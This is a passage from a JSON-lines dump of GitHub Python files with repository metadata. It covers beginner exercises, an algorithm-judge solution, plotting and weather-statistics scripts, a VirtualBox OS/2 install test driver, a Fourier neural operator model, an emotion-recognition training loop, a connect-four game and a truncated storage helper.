commit_dict[tag])\n\n\n","repo_name":"elgamala/cookiecutter-aws-cdk-python","sub_path":"{{cookiecutter.project_slug}}/cdk/l3_constructs/git/GitCommit.py","file_name":"GitCommit.py","file_ext":"py","file_size_in_byte":2646,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"19"} +{"seq_id":"8709889409","text":"\n\n'''\nfrom pathlib import Path\n\n# creating folder by writing the program\n\nfile_path = Path.cwd()/\"my_folder\"\nprint(file_path)\n\n\nfile_path.mkdir(exist_ok=True)\nnew_file_path = file_path / \"my_file.txt\"\nnew_file_path.touch()\nprint(file_path.exists())\nprint(file_path.exists())\n'''\n\n\n'''value = \"function\"\nfor c_14 in value:\n print(\"hello\")'''\n\n\nvariable = 'Hello boss baby'\n\nfor i in range(len(variable)):\n if variable[i] == \"b\":\n print(f\"{variable[i]} found at index {i}\")\n\n\n\n\n\n\nword = 'Hello boss baby'\n\nfor index, value in enumerate(word):\n # for index in range(len(word)):\n print(value)\n\n\n\nfor i in range(len(word)):\n if word[i] == \"b\":\n print(word[i])\nif word[i] != \"b\":\n print(word[i])\n\n\n\n\n\n\n\n\n","repo_name":"Jerrymy1/pythonExercises","sub_path":"chapther3/class_exercise.py","file_name":"class_exercise.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"12553415208","text":"\"\"\"\n @ Baek 1252 이진수 덧셈\n @ Prob. https://www.acmicpc.net/problem/1252\n Ref.\n Ref Prob.\n @ Algo: 구현\n @ Start day: 20. 03. 05.\n @ End day: 20. 03. 05.\n\"\"\"\n\nA, B = map(str, input().split())\nsum_digit = int(A, 2) + int(B, 2)\nprint(bin(sum_digit)[2:])\n\n\"\"\"\n1001101 10010\n>\n1011111\n\n\"\"\"","repo_name":"KoEonYack/LevelUp-Algorithm","sub_path":"Implementation/Baek_1252.py","file_name":"Baek_1252.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"19"} +{"seq_id":"43462031693","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport os\n\npath_data = \"C:\\\\Users\\\\inafu\\\\OneDrive\\\\Área de Trabalho\\\\Git\\\\Py_Projects\\\\EMG_plot\\\\data\\\\\"\npath_savfig = \"C:\\\\Users\\\\inafu\\\\OneDrive\\\\Área de Trabalho\\\\Git\\\\Py_Projects\\\\EMG_plot\\\\img\\\\\"\ndef plot_graph(file):\n data_graph = pd.read_csv(path_data+file, sep=\";\", names=[\"idx\", \"signal\", \"ms\", \"sMME\", \"MsMME\", \"resultado\"])\n \n figure = plt.figure(figsize = (17,9))\n \n aux = []\n for i in range(0, len(data_graph[\"signal\"])):\n aux.append(i)\n\n plt.subplot(321)\n plt.plot(aux, data_graph[\"signal\"], label = \"Sinal\", c = \"k\")\n plt.legend()\n plt.title(\" 1 \")\n\n plt.subplot(322)\n plt.plot(aux, data_graph[\"ms\"], label = \"Modulo do sinal\", c = \"k\")\n plt.legend()\n plt.title(\" 2 \")\n\n plt.subplot(323)\n plt.plot(aux, data_graph[\"sMME\"], label = \"Sinal + MME\", c = \"k\")\n plt.legend()\n plt.title(\" 3 \")\n\n plt.subplot(324)\n plt.plot(aux, data_graph[\"MsMME\"], label = \"Modulo do sinal + |MME|\", c = \"k\")\n plt.legend()\n plt.title(\" 4 \")\n\n plt.subplot(325)\n plt.plot(aux, data_graph[\"signal\"], label = \"Sinal\", c = \"k\")\n plt.plot(aux, data_graph[\"resultado\"], label = \"Resultado\", c = \"r\")\n plt.legend()\n plt.title(\" 5 \")\n\n plt.subplot(326)\n plt.plot(aux, data_graph[\"ms\"], label = \"Módulo do sinal\", c = \"k\")\n plt.plot(aux, data_graph[\"resultado\"], label = \"Resultado\", c = \"r\")\n plt.legend()\n plt.title(\" 6 \")\n\n plt.subplots_adjust(top=0.95, bottom=0.05, left=0.10, right=0.95, hspace=0.30,wspace=0.40)\n\n plt.savefig(path_savfig+file.replace(\"csv\", \"png\"), format='png')\n print(file)\n\n\nfiles = os.listdir(\"C:\\\\Users\\\\inafu\\\\OneDrive\\\\Área de Trabalho\\\\Git\\\\Py_Projects\\\\EMG_plot\\\\data\\\\\")\ncsv_files = []\nfor target_file in files:\n if(\".csv\" in target_file):\n csv_files.append(target_file)\n\nfor file in csv_files:\n plot_graph(file)","repo_name":"ToshioInafuco/Py_Projects","sub_path":"EMG_plot/src/GraphImag.py","file_name":"GraphImag.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"42294434668","text":"def minmaxtemp(registro):\r\n tempmin=registro[0][0].getTemperatura()\r\n tempmax=registro[0][0].getTemperatura()\r\n diamin=0\r\n horamin=0\r\n diamax=0\r\n horamax=0\r\n for i in range(31):\r\n for j in range(24):\r\n if registro[i][j].getTemperatura()tempmax:\r\n tempmax=registro[i][j].getTemperatura()\r\n diamax=i\r\n horamax=j\r\n print(f\"La temperatura minima fue en el dia: {diamin+1} a las {horamin} hrs y fue de: {tempmin} grados\")\r\n print(f\"La temperatura máxima fue en el dia: {diamax+1} a las {horamax} hrs y fue de: {tempmax} grados\")\r\n\r\ndef minmaxhum(registro):\r\n hummin=registro[0][0].getHumedad()\r\n hummax=registro[0][0].getHumedad()\r\n diamin=0\r\n horamin=0\r\n diamax=0\r\n horamax=0\r\n for i in range(31):\r\n for j in range(24):\r\n if registro[i][j].getHumedad()hummax:\r\n hummax=registro[i][j].getHumedad()\r\n diamax=i\r\n horamax=j\r\n print(f\"La humedad minima fue en el dia: {diamin+1} a las {horamin} hrs y fue de: {hummin}\")\r\n print(f\"La humedad máxima fue en el dia: {diamax+1} a las {horamax} hrs y fue de: {hummax}\")\r\n\r\ndef minmaxpres(registro):\r\n presmin=registro[0][0].getPresionAtmosferica()\r\n presmax=registro[0][0].getPresionAtmosferica()\r\n diamin=0\r\n horamin=0\r\n diamax=0\r\n horamax=0\r\n for i in range(31):\r\n for j in range(24):\r\n if registro[i][j].getPresionAtmosferica()presmax:\r\n presmax=registro[i][j].getPresionAtmosferica()\r\n diamax=i\r\n horamax=j\r\n print(f\"La presion atmosferica minima fue en el dia: {diamin+1} a las {horamin} hrs y fue de: {presmin}\")\r\n print(f\"La presion atmosferica máxima fue en el dia: {diamax+1} a las {horamax} hrs y fue de: {presmax}\")","repo_name":"Matiaspq/ej3u2poo","sub_path":"minmax.py","file_name":"minmax.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"10750405048","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# $Id: tdGuestOsInstOs2.py $\n\n\"\"\"\nVirtualBox Validation Kit - OS/2 install tests.\n\"\"\"\n\n__copyright__ = \\\n\"\"\"\nCopyright (C) 2010-2017 Oracle Corporation\n\nThis file is part of VirtualBox Open Source Edition (OSE), as\navailable from http://www.virtualbox.org. This file is free software;\nyou can redistribute it and/or modify it under the terms of the GNU\nGeneral Public License (GPL) as published by the Free Software\nFoundation, in version 2 as it comes in the \"COPYING\" file of the\nVirtualBox OSE distribution. VirtualBox OSE is distributed in the\nhope that it will be useful, but WITHOUT ANY WARRANTY of any kind.\n\nThe contents of this file may alternatively be used under the terms\nof the Common Development and Distribution License Version 1.0\n(CDDL) only, as it comes in the \"COPYING.CDDL\" file of the\nVirtualBox OSE distribution, in which case the provisions of the\nCDDL are applicable instead of those of the GPL.\n\nYou may elect to license modified versions of this file under the\nterms and conditions of either the GPL or the CDDL or both.\n\"\"\"\n__version__ = \"$Revision: 118941 $\"\n\n\n# Standard Python imports.\nimport os\nimport sys\n\n\n# Only the main script needs to modify the path.\ntry: __file__\nexcept: __file__ = sys.argv[0]\ng_ksValidationKitDir = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nsys.path.append(g_ksValidationKitDir)\n\n# Validation Kit imports.\nfrom testdriver import vbox\nfrom testdriver import base\nfrom testdriver import reporter\nfrom testdriver import vboxcon\n\n\nclass tdGuestOsInstOs2(vbox.TestDriver):\n \"\"\"\n OS/2 unattended installation.\n\n Scenario:\n - Create new VM that corresponds specified installation ISO image\n - Create HDD that corresponds to OS type that will be installed\n - Set VM boot order: HDD, Floppy, ISO\n - Start VM: sinse there is no OS installed on HDD, VM will booted from floppy\n - After first reboot VM will continue installation from HDD automatically\n - Wait for incomming TCP connection (guest should initiate such a\n connection in case installation has been completed successfully)\n \"\"\"\n\n ksSataController = 'SATA Controller'\n ksIdeController = 'IDE Controller'\n\n # VM parameters required to run ISO image.\n # Format: (cBytesHdd, sKind)\n kaoVmParams = {\n 'acp2-txs.iso': ( 2*1024*1024*1024, 'OS2', ksIdeController ),\n 'mcp2-txs.iso': ( 2*1024*1024*1024, 'OS2', ksIdeController ),\n }\n\n def __init__(self):\n \"\"\"\n Reinitialize child class instance.\n \"\"\"\n vbox.TestDriver.__init__(self)\n\n self.sVmName = 'TestVM'\n self.sHddName = 'TestHdd.vdi'\n self.sIso = None\n self.sFloppy = None\n self.sIsoPathBase = os.path.join(self.sResourcePath, '4.2', 'isos')\n self.fEnableIOAPIC = True\n self.cCpus = 1\n self.fEnableNestedPaging = True\n self.fEnablePAE = False\n self.asExtraData = []\n\n #\n # Overridden methods.\n #\n\n def showUsage(self):\n \"\"\"\n Extend usage info\n \"\"\"\n rc = vbox.TestDriver.showUsage(self)\n reporter.log(' --install-iso ')\n reporter.log(' --cpus <# CPUs>')\n reporter.log(' --no-ioapic')\n reporter.log(' --no-nested-paging')\n reporter.log(' --pae')\n reporter.log(' --set-extradata :value')\n reporter.log(' Set VM extra data. This command line option might be used multiple times.')\n return rc\n\n def parseOption(self, asArgs, iArg):\n \"\"\"\n Extend standard options set\n \"\"\"\n if asArgs[iArg] == '--install-iso':\n iArg += 1\n if iArg >= len(asArgs): raise base.InvalidOption('The \"--install-iso\" option requires an argument')\n self.sIso = asArgs[iArg]\n elif asArgs[iArg] == '--cpus':\n iArg += 1\n if iArg >= len(asArgs): raise base.InvalidOption('The \"--cpus\" option requires an argument')\n self.cCpus = int(asArgs[iArg])\n elif asArgs[iArg] == '--no-ioapic':\n self.fEnableIOAPIC = False\n elif asArgs[iArg] == '--no-nested-paging':\n self.fEnableNestedPaging = False\n elif asArgs[iArg] == '--pae':\n self.fEnablePAE = True\n elif asArgs[iArg] == '--extra-mem':\n self.fEnablePAE = True\n elif asArgs[iArg] == '--set-extradata':\n iArg = self.requireMoreArgs(1, asArgs, iArg)\n self.asExtraData.append(asArgs[iArg])\n else:\n return vbox.TestDriver.parseOption(self, asArgs, iArg)\n\n return iArg + 1\n\n def actionConfig(self):\n \"\"\"\n Configure pre-conditions.\n \"\"\"\n\n if not self.importVBoxApi():\n return False\n\n assert self.sIso is not None\n if self.sIso not in self.kaoVmParams:\n reporter.log('Error: unknown ISO image specified: %s' % self.sIso)\n return False\n\n # Get VM params specific to ISO image\n cBytesHdd, sKind, sController = self.kaoVmParams[self.sIso]\n\n # Create VM itself\n eNic0AttachType = vboxcon.NetworkAttachmentType_NAT\n self.sIso = os.path.join(self.sIsoPathBase, self.sIso)\n assert os.path.isfile(self.sIso)\n\n self.sFloppy = os.path.join(self.sIsoPathBase, os.path.splitext(self.sIso)[0] + '.img')\n\n oVM = self.createTestVM(self.sVmName, 1, sKind = sKind, sDvdImage = self.sIso, cCpus = self.cCpus,\n sFloppy = self.sFloppy, eNic0AttachType = eNic0AttachType)\n assert oVM is not None\n\n oSession = self.openSession(oVM)\n\n # Create HDD\n sHddPath = os.path.join(self.sScratchPath, self.sHddName)\n fRc = True\n if sController == self.ksSataController:\n fRc = oSession.setStorageControllerType(vboxcon.StorageControllerType_IntelAhci, sController)\n\n fRc = fRc and oSession.createAndAttachHd(sHddPath, cb = cBytesHdd,\n sController = sController, iPort = 0, fImmutable=False)\n if sController == self.ksSataController:\n fRc = fRc and oSession.setStorageControllerPortCount(sController, 1)\n\n # Set proper boot order\n fRc = fRc and oSession.setBootOrder(1, vboxcon.DeviceType_HardDisk)\n fRc = fRc and oSession.setBootOrder(2, vboxcon.DeviceType_Floppy)\n\n # Enable HW virt\n fRc = fRc and oSession.enableVirtEx(True)\n\n # Enable I/O APIC\n fRc = fRc and oSession.enableIoApic(self.fEnableIOAPIC)\n\n # Enable Nested Paging\n fRc = fRc and oSession.enableNestedPaging(self.fEnableNestedPaging)\n\n # Enable PAE\n fRc = fRc and oSession.enablePae(self.fEnablePAE)\n\n # Remote desktop\n oSession.setupVrdp(True)\n\n # Set extra data\n if self.asExtraData != []:\n for sExtraData in self.asExtraData:\n try:\n sKey, sValue = sExtraData.split(':')\n except ValueError:\n raise base.InvalidOption('Invalid extradata specified: %s' % sExtraData)\n reporter.log('Set extradata: %s => %s' % (sKey, sValue))\n fRc = fRc and oSession.setExtraData(sKey, sValue)\n\n fRc = fRc and oSession.saveSettings()\n fRc = oSession.close()\n assert fRc is True\n\n return vbox.TestDriver.actionConfig(self)\n\n def actionExecute(self):\n \"\"\"\n Execute the testcase itself.\n \"\"\"\n if not self.importVBoxApi():\n return False\n return self.testDoInstallGuestOs()\n\n #\n # Test execution helpers.\n #\n\n def testDoInstallGuestOs(self):\n \"\"\"\n Install guest OS and wait for result\n \"\"\"\n reporter.testStart('Installing %s' % (os.path.basename(self.sIso),))\n\n cMsTimeout = 40*60000;\n if not reporter.isLocal(): ## @todo need to figure a better way of handling timeouts on the testboxes ...\n cMsTimeout = 180 * 60000; # will be adjusted down.\n\n oSession, _ = self.startVmAndConnectToTxsViaTcp(self.sVmName, fCdWait = False, cMsTimeout = cMsTimeout)\n if oSession is not None:\n # Wait until guest reported success\n reporter.log('Guest reported success')\n reporter.testDone()\n fRc = self.terminateVmBySession(oSession)\n return fRc is True\n reporter.error('Installation of %s has failed' % (self.sIso,))\n reporter.testDone()\n return False\n\nif __name__ == '__main__':\n sys.exit(tdGuestOsInstOs2().main(sys.argv));\n\n","repo_name":"thalium/icebox","sub_path":"third_party/virtualbox/src/VBox/ValidationKit/tests/installation/tdGuestOsInstOs2.py","file_name":"tdGuestOsInstOs2.py","file_ext":"py","file_size_in_byte":8748,"program_lang":"python","lang":"en","doc_type":"code","stars":550,"dataset":"github-code","pt":"19"} +{"seq_id":"22437545905","text":"from __future__ import absolute_import\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nimport operator\nfrom functools import reduce\nfrom functools import partial\n\nfrom .conv import SpectralConv3d\n\n\nclass FNO3d(nn.Module):\n \"\"\"\n FNO contains 5 Fourier interal operator layers\n \"\"\"\n\n def __init__(self, modes1, modes2, modes3, width, \n n_blocks=5, in_channel=4, device='cpu'):\n super(FNO3d, self).__init__()\n\n self.modes1 = modes1\n self.modes2 = modes2\n self.modes3 = modes3\n self.width = width\n self.n_blocks = n_blocks\n self.upscale = nn.Linear(in_channel, self.width).to(device)\n self.spectral_conv3d = [SpectralConv3d(self.width, self.width,\n self.modes1, self.modes2, \n self.modes3).to(device) for _ in range(self.n_blocks)]\n self.linear = [nn.Conv1d(self.width, self.width, 1).to(device) for _ in range(self.n_blocks)]\n\n self.downscale = nn.Linear(self.width, 128).to(device)\n self.output = nn.Linear(128, 1).to(device)\n\n def forward(self, x):\n \"\"\"\n FNO forward pass for single batch\n \n input shape: (batchsize, x1, y2, x3, p=1)\n output shape: (batchsize, x1, y2, x3, p=1)\n \"\"\"\n batchsize = x.shape[0]\n size_x, size_y, size_z = x.shape[1], x.shape[2], x.shape[3]\n \n x = self.upscale(x)\n x = x.permute(0, 4, 1, 2, 3)\n\n for i in range(self.n_blocks):\n x1 = self.spectral_conv3d[i](x)\n x2 = self.linear[i](x.view(batchsize, self.width, -1)).view(batchsize, self.width,\n size_x, size_y, size_z)\n x = x1 + x2\n x = F.relu(x)\n \n x = x.permute(0, 2, 3, 4, 1)\n x = self.downscale(x)\n x = F.relu(x)\n x = self.output(x)\n \n return x","repo_name":"arpit-kapoor/neurop-l63","sub_path":"models/fno.py","file_name":"fno.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"12554555937","text":"import numpy as np\nimport tensorflow as tf\n\nfrom code.common import dict_to_struct\n\n\ndef flatten_emotion_data(data, emotion, flattened_size):\n flattened_data = tf.reshape(data[:, :, emotion],\n (-1,))\n flattened_data = tf.reshape(flattened_data,\n (flattened_size, 1, 1, 1))\n return flattened_data\n\n\ndef replace_dict_value(input_dict, old_value, new_value):\n for k, v in input_dict.items():\n if isinstance(v, str):\n if v == old_value:\n input_dict[k] = np.nan_to_num(new_value, copy=True)\n return input_dict\n\n\ndef contains_nan(array):\n return np.isnan(array).any()\n\n\ndef run_epoch(config_struct):\n sess = config_struct.sess\n init_op = config_struct.init_op\n steps_per_epoch = config_struct.steps_per_epoch\n next_element = config_struct.next_element\n batch_size = config_struct.batch_size\n seq_length = config_struct.seq_length\n input_gaussian_noise = config_struct.input_gaussian_noise\n has_meta = config_struct.has_meta\n mc_samples = config_struct.mc_samples\n get_vars = config_struct.get_vars\n input_feed_dict = config_struct.feed_dict\n saver = config_struct.saver\n\n out_tf = list()\n track_var = list()\n var_names = list()\n counter = 0\n for t in get_vars:\n out_tf.append(t[0])\n track_var.append(t[1])\n var_names.append(t[2])\n counter += 1\n\n # Initialize an iterator over the dataset split.\n sess.run(init_op)\n\n # Store variable sequence.\n stored_variables = dict()\n for emotion in [\"arousal\", \"valence\"]:\n stored_variables[emotion] = dict()\n stored_variables[emotion][\"true\"] = np.empty((steps_per_epoch * batch_size,\n seq_length),\n dtype=np.float32)\n stored_variables[emotion][\"true_var\"] = np.empty((steps_per_epoch * batch_size,\n seq_length),\n dtype=np.float32)\n\n for i, track in enumerate(track_var):\n if track in [\"yes\", \"yes_mc\"]:\n for emotion in [\"arousal\", \"valence\"]:\n stored_variables[emotion][var_names[i]] = np.empty((steps_per_epoch * batch_size,\n seq_length),\n dtype=np.float32)\n\n if track == \"yes_mc\":\n for emotion in [\"arousal\", \"valence\"]:\n stored_variables[emotion][var_names[i] + \"_epi\"] = np.empty((steps_per_epoch * batch_size,\n seq_length),\n dtype=np.float32)\n if track == \"loss\":\n stored_variables[var_names[i]] = list()\n\n if has_meta:\n source_subsequences = dict()\n for k, v in config_struct.source_vars.items():\n source_subsequences[k] = np.empty((batch_size,\n seq_length,\n 2),\n dtype=np.float32)\n\n source_subject_to_id = config_struct.source_subject_to_id\n\n temp_mc = dict()\n temp = dict()\n for i, track in enumerate(track_var):\n if track in [\"yes\", \"yes_mc\"]:\n temp_mc[var_names[i]] = np.empty((batch_size,\n seq_length,\n 2,\n mc_samples),\n dtype=np.float32)\n temp[var_names[i]] = None\n if track == \"yes_mc\":\n temp[var_names[i] + \"_epi\"] = None\n\n subject_to_id = dict()\n for step in range(steps_per_epoch):\n batch_tuple = sess.run(next_element)\n sample_id = batch_tuple[\"sample_id\"]\n subject_id = batch_tuple[\"subject_id\"]\n try:\n label = batch_tuple[\"label\"]\n label_shape = batch_tuple[\"label_shape\"]\n original_labels = True\n except KeyError:\n label = batch_tuple[\"gs_label\"]\n label_shape = batch_tuple[\"gs_label_shape\"]\n original_labels = False\n raw_audio = batch_tuple[\"raw_audio\"]\n raw_audio_shape = batch_tuple[\"raw_audio_shape\"]\n audio_features_numpy = batch_tuple[\"audio_features\"][:, :, :178]\n image_features_appearance_numpy = batch_tuple[\"image_features_appearance\"]\n image_features_geometric_numpy = batch_tuple[\"image_features_geometric\"]\n\n subject_to_id[subject_id[0, 0][0]] = step\n\n seq_pos_start = step * batch_size\n seq_pos_end = seq_pos_start + batch_size\n\n # Augment data.\n jitter = np.random.normal(scale=input_gaussian_noise,\n size=raw_audio.shape)\n raw_audio_plus_jitter = raw_audio + jitter\n jitter = np.random.normal(scale=input_gaussian_noise,\n size=audio_features_numpy.shape)\n audio_features_numpy_plus_jitter = audio_features_numpy + jitter\n jitter = np.random.normal(scale=input_gaussian_noise,\n size=image_features_appearance_numpy.shape)\n image_features_appearance_numpy_plus_jitter = image_features_appearance_numpy + jitter\n jitter = np.random.normal(scale=input_gaussian_noise,\n size=image_features_geometric_numpy.shape)\n image_features_geometric_numpy_plus_jitter = image_features_geometric_numpy + jitter\n\n if has_meta:\n for sample in range(batch_size):\n source_subject_id = source_subject_to_id[subject_id[sample, 0][0]]\n sample_start_id = sample_id[sample, 0][0]\n sample_end_id = sample_id[sample, -1][0]\n\n for k, v in config_struct.source_vars.items():\n source_subsequences[k][sample, :, :] = v[source_subject_id, sample_start_id:sample_end_id + 1, :]\n\n feed_dict = {k: v for k, v in input_feed_dict.items()}\n if original_labels:\n feed_dict = replace_dict_value(feed_dict, \"true_raw\", label)\n feed_dict = replace_dict_value(feed_dict, \"audio\", raw_audio_plus_jitter)\n feed_dict = replace_dict_value(feed_dict, \"audio_features\", audio_features_numpy_plus_jitter)\n feed_dict = replace_dict_value(feed_dict, \"image_features_appearance\", image_features_appearance_numpy_plus_jitter)\n feed_dict = replace_dict_value(feed_dict, \"image_features_geometric\", image_features_geometric_numpy_plus_jitter)\n if has_meta:\n feed_dict = replace_dict_value(feed_dict, \"source_pred_mean_input\", source_subsequences[\"pred\"])\n feed_dict = replace_dict_value(feed_dict, \"source_pred_var_input\", source_subsequences[\"pred_ale\"])\n feed_dict = replace_dict_value(feed_dict, \"source_pred_mean_epistemic_input\", source_subsequences[\"pred_epi\"])\n\n for t in range(mc_samples):\n out_np = sess.run(out_tf,\n feed_dict=feed_dict)\n for i, track in enumerate(track_var):\n if track in [\"yes\", \"yes_mc\"]:\n temp_mc[var_names[i]][:, :, :, t] = out_np[i]\n\n for i, track in enumerate(track_var):\n if track in [\"yes\", \"yes_mc\"]:\n temp[var_names[i]] = np.mean(temp_mc[var_names[i]], axis=3)\n if track == \"yes_mc\":\n if mc_samples > 1:\n temp[var_names[i] + \"_epi\"] = np.var(temp_mc[var_names[i]], axis=3)\n else:\n temp[var_names[i] + \"_epi\"] = temp_mc[var_names[i]].reshape((batch_size,\n seq_length,\n 2))\n if original_labels:\n stored_variables[\"arousal\"][\"true\"][seq_pos_start:seq_pos_end, :] = np.mean(label[:, :, :6], axis=2)\n stored_variables[\"arousal\"][\"true_var\"][seq_pos_start:seq_pos_end, :] = np.var(label[:, :, :6], axis=2)\n stored_variables[\"valence\"][\"true\"][seq_pos_start:seq_pos_end, :] = np.mean(label[:, :, 6:], axis=2)\n stored_variables[\"valence\"][\"true_var\"][seq_pos_start:seq_pos_end, :] = np.var(label[:, :, 6:], axis=2)\n else:\n stored_variables[\"arousal\"][\"true\"][seq_pos_start:seq_pos_end, :] = label[:, :, 0]\n stored_variables[\"valence\"][\"true\"][seq_pos_start:seq_pos_end, :] = label[:, :, 1]\n\n for i, track in enumerate(track_var):\n if track in [\"yes\", \"yes_mc\"]:\n for e, emotion in enumerate([\"arousal\", \"valence\"]):\n stored_variables[emotion][var_names[i]][seq_pos_start:seq_pos_end, :] = temp[var_names[i]][:, :, e]\n if track == \"yes_mc\":\n for e, emotion in enumerate([\"arousal\", \"valence\"]):\n stored_variables[emotion][var_names[i] + \"_epi\"][seq_pos_start:seq_pos_end, :] = temp[var_names[i] + \"_epi\"][:, :, e]\n if track == \"loss\":\n stored_variables[var_names[i]].append(out_np[i])\n\n for i, track in enumerate(track_var):\n if track == \"loss\":\n stored_variables[var_names[i]] = np.mean(np.array(stored_variables[var_names[i]]))\n\n if saver is not None:\n for path, s in saver.items():\n s.save(sess, path)\n\n for emotion in [\"arousal\", \"valence\"]:\n stored_variables[emotion] = dict_to_struct(stored_variables[emotion])\n stored_variables = dict_to_struct(stored_variables)\n\n return stored_variables, subject_to_id\n","repo_name":"glam-imperial/informativeness","sub_path":"code/experiments/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":9803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"11911419887","text":"people = []\r\n\r\nfor person in range(0,11):\r\n newPerson = {'skin colour':'white', 'GPA':'3.7', 'Wants to kill himself':'yes'}\r\n people.append(newPerson)\r\n\r\nfor person in people:\r\n print(person)\r\n\r\n\r\npizza = {\r\n 'crust': 'thick',\r\n 'toppings': ['mushrooms', 'extra cheese'],\r\n }\r\n\r\n# Summarize the order.\r\nprint(\"You ordered a \" + pizza['crust'] + \"-crust pizza \" +\r\n \"with the following toppings:\")\r\nfor topping in pizza['toppings']:\r\n print(\"\\t\" + topping)\r\n\r\n\r\nfavorite_languages = {\r\n 'jen': ['python', 'ruby'],\r\n 'sarah': ['c'],\r\n 'edward': ['ruby', 'go'],\r\n 'phil': ['python', 'haskell']\r\n }\r\nfor name, languages in favorite_languages.items():\r\n print(\"\\n\" + name.title() + \"'s favorite languages are:\")\r\n for language in languages:\r\n print(\"\\t\" + language.title())\r\n\r\nusers = {\r\n 'aeinstein': {\r\n 'first': 'albert',\r\n 'last': 'einstein',\r\n 'location': 'princeton',\r\n },\r\n\r\n 'mcurie': {\r\n 'first': 'marie',\r\n 'last': 'curie',\r\n 'location': 'paris',\r\n },\r\n }\r\nfor username, user_info in users.items():\r\n print(\"\\nUsername: \" + username)\r\n full_name = user_info['first'] + \" \" + user_info['last']\r\n location = user_info['location']\r\n print(\"\\tFull name: \" + full_name.title())\r\n print(\"\\tLocation: \" + location.title())\r\n","repo_name":"brendanmarks/PythonCrashCourse","sub_path":"nesting.py","file_name":"nesting.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"3264027532","text":"class Player:\r\n def __init__(self, is_x, name):\r\n self.is_x = is_x\r\n self.name = name\r\n\r\n\r\nclass Game:\r\n def __init__(self, player1_name, player2_name, dim=10, seq_len=4):\r\n if dim <= seq_len:\r\n raise AttributeError('Dimensions of board must be at least as large as sequence length')\r\n\r\n self.player1 = Player(True, player1_name)\r\n self.player2 = Player(False, player2_name)\r\n self.dim = dim\r\n self.seq_len = seq_len\r\n self.turn = self.player1\r\n self.board = self.init_board()\r\n self.last_row_played_by_column = [-1 for _ in range(self.dim)]\r\n self.winner = None\r\n\r\n def init_board(self):\r\n board = []\r\n for r in range(self.dim):\r\n board.append([None for _ in range(self.dim)])\r\n\r\n return board\r\n\r\n def change_turn(self):\r\n self.turn = self.player1 if self.turn == self.player2 else self.player2\r\n\r\n def play_turn(self):\r\n self.print_board()\r\n self.process_move()\r\n self.check_winner()\r\n self.change_turn()\r\n\r\n def check_winner(self):\r\n for r in range(self.dim):\r\n for c in range(self.dim):\r\n if self.check_sequence_win(r, c):\r\n self.winner = self.turn\r\n return\r\n\r\n def check_sequence_win(self, row, col):\r\n value_check = self.turn.is_x\r\n col_check = True\r\n row_check = True\r\n diagonal_forward_check = True\r\n diagonal_backward_check = True\r\n for i in range(self.seq_len):\r\n if col_check and (not self.in_range(row, col + i) or self.board[row][col + i] != value_check):\r\n col_check = False\r\n\r\n if row_check and (not self.in_range(row + i, col) or self.board[row + i][col] != value_check):\r\n row_check = False\r\n\r\n if diagonal_forward_check and (not self.in_range(row + i, col + i) or self.board[row + i][col + i] != value_check):\r\n diagonal_forward_check = False\r\n\r\n if diagonal_backward_check and (not self.in_range(row - i, col - i) or self.board[row - i][col - i] != value_check):\r\n diagonal_backward_check = False\r\n\r\n check = col_check or row_check or diagonal_backward_check or diagonal_forward_check\r\n return check\r\n\r\n def in_range(self, row, col):\r\n if row < 0 or row >= self.dim or col < 0 or col >= self.dim:\r\n return False\r\n\r\n return True\r\n\r\n def process_move(self):\r\n column_choice = self.get_choice()\r\n while not self.is_valid_move(column_choice):\r\n column_choice = self.get_choice()\r\n\r\n last_row_played_in_column = self.last_row_played_by_column[column_choice]\r\n self.board[last_row_played_in_column + 1][column_choice] = True if self.turn.is_x else False\r\n self.last_row_played_by_column[column_choice] = self.last_row_played_by_column[column_choice] + 1\r\n\r\n def get_choice(self):\r\n raw_choice = input(f'{self.turn.name}: Which column would you like to place a piece? ')\r\n column_choice = int(raw_choice)\r\n return column_choice\r\n\r\n def is_valid_move(self, col_choice):\r\n if not isinstance(col_choice, int):\r\n return False\r\n\r\n if col_choice < 0 or col_choice >= self.dim:\r\n return False\r\n\r\n if self.board[self.dim-1][col_choice] is not None:\r\n return False\r\n\r\n return True\r\n\r\n def print_board(self):\r\n print(' '.join([str(idx) for idx in range(self.dim)]))\r\n print()\r\n for r in range(self.dim - 1, -1, -1):\r\n print(' '.join(map(lambda x: ' ' if x is None else ('X' if x else 'O'), self.board[r])))\r\n\r\n print('\\n\\n')\r\n\r\n def play(self):\r\n while not self.winner:\r\n self.play_turn()\r\n\r\n self.print_board()\r\n print(f'{self.winner.name} Wins!')\r\n\r\n\r\ndef main():\r\n player1_name = input('Player 1 name: ')\r\n player2_name = input('Player 2 name: ')\r\n dim = int(input('Enter n dimension of n x n grid: '))\r\n seq_len = int(input('Enter sequence length: '))\r\n game = Game(player1_name, player2_name, dim, seq_len)\r\n game.play()\r\n\r\nmain()\r\n\r\n\r\n","repo_name":"aanndalia/andrew-dalia","sub_path":"connect_four.py","file_name":"connect_four.py","file_ext":"py","file_size_in_byte":4212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"8924427674","text":"from sqlalchemy.exc import IntegrityError\nfrom ..shared.exceptions import DuplicationError\n\nclass StoreHelper ():\n def __init__ (self, Session, store_section_cls):\n self.Session = Session\n self.store_section_cls = store_section_cls\n\n def add (self, item):\n session = self.Session()\n try:\n session.add(item)\n session.commit()\n 